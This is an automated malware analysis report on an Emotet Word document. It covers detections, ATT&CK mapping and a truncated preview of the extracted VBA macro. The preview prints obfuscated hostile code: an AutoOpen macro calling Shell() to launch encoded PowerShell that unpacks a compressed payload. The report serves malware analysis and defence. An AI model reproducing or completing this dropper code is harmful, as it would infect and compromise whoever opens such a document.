Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 08d9090cc27bfb37…

MALICIOUS

Office (OLE)

98.6 KB Created: 2018-06-08 20:47:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 41558fc02e431327bb24476e8cfd275f SHA-1: 5d2f6be0b4ca042c5409ffedb27016d46558110c SHA-256: 08d9090cc27bfb37a99f758d6d961c25dd734a0ab966d5d11d59d2ccc944b7e2
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6899214-0'. Static analysis reveals the presence of VBA macros, specifically an AutoOpen macro that utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary payload, a common Emotet distribution technique.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6899214-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6899214-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12519 bytes
SHA-256: a73e5f7f56b9b6ca5300ddc9d33ca2961a935f0bccbc2c913cb8364fed73fe45
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "foNiJLsQr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function fSODOmNMk()
On Error Resume Next
For qfbsO = aVEAE To QrZTPP
      For qLwNi = lEGdv To 86061
         jBfuKJ = (1660 / CBool(wzFzE) - pjwOp / Oct(51823 / Hex(85569) / CrSsi + Rnd(QTrJIS / Fix(37))))
Next
   OLiIF = 28652 - 24599
Next
For NtPipw = IPGRt To zocRb
      For mcGwp = PaUTFj To 23178
         XowCOs = (63149 / CBool(LbCqZq) - XCqdr / Oct(49922 / Hex(34896) / wasZV + Rnd(oJWFN / Fix(37))))
Next
   KqaDiq = 88191 - 32405
Next
fSODOmNMk = ivMiR + Shell(RGWiMLSrDPl + Chr(AiknkvBZ + vbKeyP + KwDLjItFSJJ) + "owers" + WBUzimvvWWf + HwHznw + NiSjqWaKi + SdkMMcMi + sMJKiRLCHEQ, 17641 - 17641)
For uwMYLz = OGUFF To BcWSLq
      For RfkLA = jbnvA To 61731
         cCbfB = (20271 / CBool(XvQkI) - dozjPf / Oct(6563 / Hex(88269) / OOAYG + Rnd(paKUZ / Fix(37))))
Next
   FzAqR = 1268 - 72813
Next
End Function
Sub Autoopen()
On Error Resume Next
For WPzDPb = iHfUcH To nNfcE
      For hUFQij = pzpzf To 33750
         pwOzJf = (50508 / CBool(TiAww) - LnLpww / Oct(34425 / Hex(5079) / jViDC + Rnd(RipLNZ / Fix(37))))
Next
   wiSZMW = 1552 - 52369
Next
fSODOmNMk
For ljhdJ = IiScnp To bbbYiC
      For KljRXp = WXmvBi To 37475
         wWZXmZ = (13339 / CBool(klzTGr) - orwiFz / Oct(125 / Hex(31548) / UBlLj + Rnd(lGLscF / Fix(37))))
Next
   HPWDtw = 60134 - 44708
Next
End Sub


Attribute VB_Name = "WiZzDDDOkw"
Function WBUzimvvWWf()
On Error Resume Next
For PLBOYM = UkZGQ To YEKaR
      For bWAuj = kzKiPl To 53753
         cpEQw = (56153 / CBool(jFzEz) - zTQlv / Oct(46621 / Hex(35294) / TPQRan + Rnd(ApUni / Fix(37))))
Next
   jjzui = 77618 - 16584
Next
buSHckDu = "HeLL -e IAAuACg" + "AKABnAGUA" + "VAAtAFYAQQ" + "ByAEkAYQBiAEwAZ" + "QAgACcAKg" + "BtA" + "EQAcgAqACcA" + "KQAuAE4AYQBNAGU" + "AWwAzA"
For RBqlfk = usUNJJ To ZnwWp
      For fPiQTz = jRrRj To 18717
         COaju = (5755 / CBool(GwAZUA) - JLvIwS / Oct(30617 / Hex(2514) / aRfUu + Rnd(BCdzFF / Fix(37))))
Next
   NRbmF = 48193 - 37018
Next
JZuFw = "CwAMQAxACwAMgBd" + "AC0ASgBvAGkA" + "bgAnACc" + "AKQAoAG4ARQ"
For qzzpaF = JlrnBr To POiqd
      For zwUuVw = djMMqi To 87585
         SjiUXF = (87587 / CBool(ISEUNC) - DPvXf / Oct(89211 / Hex(58565) / TcHSc + Rnd(iwTzQ / Fix(37))))
Next
   iEWFqE = 6539 - 23374
Next
RwZzjtBObYt = "BX" + "AC0AT" + "wBiAEoARQBDAH" + "QAIABJAG8AL" + "gBDAG8AbQBwAF" + "IARQBTAHM" + "ASQ" + "BPAG4ALgBEAEUA" + "RgBMAEEAdABlAFM"
For RdkbTI = vKOpnb To rPmQT
      For VkWwFi = sphbqS To 55661
         wXqJQ = (62379 / CBool(JjbJG) - iqDnjh / Oct(12292 / Hex(62656) / oWpJF + Rnd(dmwVw / Fix(37))))
Next
   tsvHC = 95823 - 39025
Next
MEdnBRO = "AVAB" + "yAEUAYQ" + "Bt" + "ACgAW"
For mUvXFO = dnHkWV To iUUHbw
      For wdoIlk = HjhkmE To 40678
         aRDqF = (99702 / CBool(rlbmDJ) - nuWXvp / Oct(82943 / Hex(14441) / UiCVH + Rnd(AkRVOt / Fix(37))))
Next
   Ekqfz = 73952 - 5927
Next
zZcVBRX = "wBzAHk" + "AcwBUA" + "EUATQAu" + "AG" + "kAbwAu" + "AG0ARQBNAE8Acg"
For zhnjsm = OIfcT To jMDir
      For krVhu = kqlhQr To 8997
         iVwOo = (27992 / CBool(mWIpma) - VYnBF / Oct(41264 / Hex(35428) / dzswIv + Rnd(jsnXOT / Fix(37))))
Next
   Pppdd = 96028 - 40538
Next
wcBwiNaWcV = "BZA" + "FMAdAByAEU" + "AYQBNAF0AWwB" + "DAG8AbgB2" + "AGUAUgBUAF0AOg" + "A6AEYAcgBvAE" + "0AYgBBAF" + "MARQA2ADQAcw" + "B0"
For rIHjV = tOmjm To rzVpGs
      For pPBOL = HIwLcs To 39400
         RHkrY = (50978 / CBool(niBoc) - WSTzX / Oct(70715 / Hex(75648) / zpuvCN + Rnd(vCJqR / Fix(37))))
Next
   Zplzh = 34241 - 91240
Next
tNqcK = "AHIASQBOAEcA" + "KAAgACcAVgBaAE" + "QAYg" + "BUAHMASgBB"
For lAZiH = qiMFHh To TRpwWM
      For sbrzL = wdiBp To 36481
         dMpVMu = (55422 / CBool(QqEjk) - GXvBLE / Oct(69998 / Hex(18788) / IbXHo + Rnd(vKPop / Fix(37))))
Next
   HbUjb = 69432 - 94683
Next
wpFzKRfMK = "AE" + "U
... (truncated)

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